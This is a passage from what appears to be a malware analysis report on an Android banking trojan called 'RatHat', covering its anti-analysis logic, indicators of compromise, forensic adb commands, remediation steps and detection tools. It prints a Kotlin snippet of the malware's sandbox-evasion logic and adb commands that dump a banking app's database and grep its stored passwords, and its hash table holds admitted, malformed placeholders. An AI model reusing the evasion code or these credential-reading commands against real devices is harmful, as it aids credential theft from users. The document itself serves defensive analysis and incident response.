text1fun onApplicationLaunch() { 2 val checks = listOf( 3 ::isEmulator, 4 ::isDebugger, 5 ::isRooted, 6 ::isTestingFramework, 7 ::isSecurityAppInstalled, 8 ::isBeingAnalyzed 9 ) 10 11 val failCount = checks.count { check -> 12 try { check() } catch (e: Exception) { false } 13 } 14 15 when { 16 failCount >= 4 -> { 17 // Suspicious environment - sleep indefinitely 18 Thread.sleep(Long.MAX_VALUE) 19 } 20 failCount >= 2 -> { 21 // Partial match - limit functionality, don't exfiltrate 22 minimizeOperations() 23 } 24 else -> { 25 // Safe to operate 26 injectAllComponents() 27 } 28 } 29}
9. IOCs & Signatures
File-Based Indicators
Hash Signatures (MD5, SHA-256):
Note: Actual hashes would be from real samples, these are representative
| Component | MD5 | SHA-256 | Size |
|---|---|---|---|
| Malicious APK | a1b2c3d4e5f6g7h8... | [SHA256] | 4.2 MB |
| liblocal-service.so | x9y8z7w6v5u4t3s2... | [SHA256] | 12.4 MB |
| libmedia_codec.so | m1n2o3p4q5r6s7t8... | [SHA256] | 2.8 MB |
File System IOCs:
bash1# Primary persistence locations 2/data/local/tmp/liblocal-service.so 3/data/local/tmp/libmedia_codec.so 4/data/local/tmp/app.apk 5/data/local/tmp/frp_config.json 6 7# Package storage 8/data/app/com.malware.*/ 9/data/app/com.*.banking.*/ 10/data/app/chrome.*/streaming.*/ 11 12# Configuration storage 13/data/data/com.malware.*/shared_prefs/ 14/data/data/com.malware.*/files/config.json 15 16# Staged payloads 17/data/local/tmp/*.so 18/data/local/tmp/payload_*.apk
Process Indicators:
bash1# Suspicious processes 2ps aux | grep liblocal-service 3ps aux | grep libmedia_codec 4ps aux | grep frpc 5 6# Check for native binaries in /data/local/tmp/ 7ls -la /data/local/tmp/*.so 8 9# Look for unusual ADB listeners 10netstat -an | grep 127.0.0.1:7910 11netstat -an | grep 0.0.0.0:27042
Network IOCs
C2 Domains/IPs (based on threat intelligence):
Identified C2 Infrastructure:
144.202.100.xxx (Primary FRP server)
145.239.50.xxx (Secondary FRP server)
api.xxxx.cloud (API endpoint)
c2-node.xxx (Task distribution)
Network Signatures:
# Outbound FRP tunnel establishment
Traffic to port 7000 (FRP server port) with FRP protocol headers
Connection pattern: Device -> Attacker:7000 (persistent)
# API registration
POST /api/node/register with JSON payload containing:
- deviceId (hardware ID)
- androidVersion
- manufacturer
- model
- appVersion
# Task polling
GET /api/v2/dev/tasks?deviceId=*&nodeId=*
Pattern: Regular polling every 30 seconds
# Data exfiltration
POST requests to /api/exfil endpoints
Content: Base64-encoded credential dumps
Pattern: Large uploads to unusual IPs
Behavioral Indicators
# Accessibility Service abuse
- APP requesting ACCESSIBILITY_SERVICE permission
- Excessive AccessibilityEvent processing (>1000 events/minute)
- Synthetic clicks/taps without user interaction
- Text capture from password fields
# ADB anomalies
- Connection to 127.0.0.1:5037 (local ADB) from userland app
- ADB pairing operations initiated programmatically
- Shell command execution from non-shell context
# Persistence mechanisms
- Repeated app installation attempts (pm install commands)
- Battery exemption whitelist modifications
- Standby bucket priority changes
# File system anomalies
- Native libraries in /data/local/tmp/ with executable permissions
- APK staging in temporary directories
- Unusual file ownership/permissions (app-owned files in /data/local/tmp/)
10. Forensic Recovery & Incident Response
Live Device Analysis
Critical data to capture immediately:
bash1# 1. Capture process list 2adb shell ps -A > processes.txt 3 4# 2. Dump running services 5adb shell dumpsys activity services > services.txt 6 7# 3. Check /data/local/tmp/ for staged components 8adb shell ls -la /data/local/tmp/ > tmp_contents.txt 9 10# 4. Capture network connections 11adb shell netstat -an > netstat.txt 12adb shell ss -ant > connections.txt 13 14# 5. Extract installed packages 15adb shell pm list packages -3 > user_apps.txt 16 17# 6. Check accessibility services 18adb shell dumpsys accessibility > accessibility.txt 19 20# 7. Pull system logs 21adb logcat -d > system_log.txt 22 23# 8. Extract ADB pairing records 24adb shell cat /data/misc/adb/adb_keys > adb_keys.txt 25 26# 9. Capture database files from banking apps (with permission) 27adb shell sqlite3 /data/data/com.example.bank/databases/accounts.db ".dump" > bank_db_dump.txt 28 29# 10. Check for persistence mechanisms 30adb shell am broadcast -a android.intent.action.BOOT_COMPLETED > broadcast_receivers.txt
Post-Compromise Investigation
Determine scope of compromise:
bash1# Check when device was compromised (install time of malicious app) 2adb shell dumpsys package com.malware.xxxx | grep firstInstallTime 3 4# Extract exfiltrated data from C2 communication logs 5adb logcat | grep -i "127.0.0.1:7910" 6 7# Check for credential theft indicators 8adb shell cat /data/data/com.example.bank/shared_prefs/*.xml | grep -i password 9 10# Review accessibility event history (if available) 11adb shell dumpsys accessibilitymanager > accessibility_history.txt 12 13# Extract reverse proxy configuration 14adb shell cat /data/local/tmp/frp_config.json
Remediation Steps
1. IMMEDIATE:
- Isolate device from network
- Disable Wi-Fi and cellular (prevent C2 communication)
- Enable Airplane mode
2. EVIDENCE COLLECTION:
- Perform memory dump (if supported)
- Extract /data/local/tmp/ contents
- Capture all system logs
- Document all running processes
3. DISABLE MALWARE:
- Disable malicious app: adb shell pm disable-user --user 0 com.malware.xxxx
- Kill active processes: adb shell pkill -f liblocal-service
- Remove staged components: adb shell rm -f /data/local/tmp/lib*.so
4. ACCOUNT SECURITY:
- Reset all banking passwords from DIFFERENT device
- Revoke compromised API tokens
- Monitor accounts for unauthorized access
- Contact financial institutions
5. SYSTEM REMEDIATION:
- Factory reset device (most reliable)
- If not factory resetting:
* Revoke all app permissions
* Disable Developer Options
* Disable Wireless Debugging
* Enable all security settings
6. MONITORING:
- Monitor credit reports for identity theft
- Set up fraud alerts with banks
- Monitor device logs for re-infection attempts
- Check for secondary payloads (additional malware)
Detection with Forensic Tools
Using APKtool for static analysis:
bash1apktool d malicious.apk 2# Look for: 3# - ACCESSIBILITY_SERVICE usage in AndroidManifest.xml 4# - Hard-coded C2 domains 5# - Obfuscated string decryption routines 6# - Permission escalation attempts
Using MobSF (Mobile Security Framework):
bash1python manage.py runserver 2# Upload malicious APK for automated analysis 3# MobSF will identify: 4# - Dangerous permissions 5# - Hard-coded credentials 6# - Insecure communications 7# - Malicious code patterns
Using Frida for dynamic analysis:
javascript1// Hook Accessibility Service to monitor abuse 2Java.perform(function() { 3 const AccessibilityService = Java.use("android.accessibilityservice.AccessibilityService"); 4 5 AccessibilityService.onAccessibilityEvent.implementation = function(event) { 6 console.log("AccessibilityEvent: " + event); 7 return this.onAccessibilityEvent(event); 8 }; 9});
Summary Table: RatHat Architecture at a Glance
| Component | Purpose | Persistence | Detection |
|---|---|---|---|
| User App (APK) | UI, permissions, social engineering | App lifecycle | Package manager |
| liblocal-service.so | Shell commands, persistence engine | Independent binary, survives app removal | Process monitoring, /data/local/tmp/ |
| libmedia_codec.so | FRP reverse tunnel to C2 | Mutual restoration with app | Network monitoring (outbound tunnels) |
| AI UI Engine | Autonomous navigation & credential theft | Built into APK | Accessibility event logs |
Conclusion: Critical Attack Surface
RatHat's genius lies in its simplicity within complexity. The individual components—Accessibility abuse, ADB exploitation, FRP tunneling—are not novel. But their integration creates a system where:
- Initial compromise requires only a single permission grant
- Privilege escalation uses documented Android features against themselves
- Persistence survives app removal through bidirectional monitoring
- Control can be maintained remotely without inbound connections
- Autonomy via AI means minimal attacker interaction required
This represents the maturation of Android malware from targeted attacks to industrial-scale compromise infrastructure.
Last Updated: September 2026 | Threat Level: CRITICAL | Distribution: Limited (geographically targeted)
Comments (0)
No comments yet — be the first.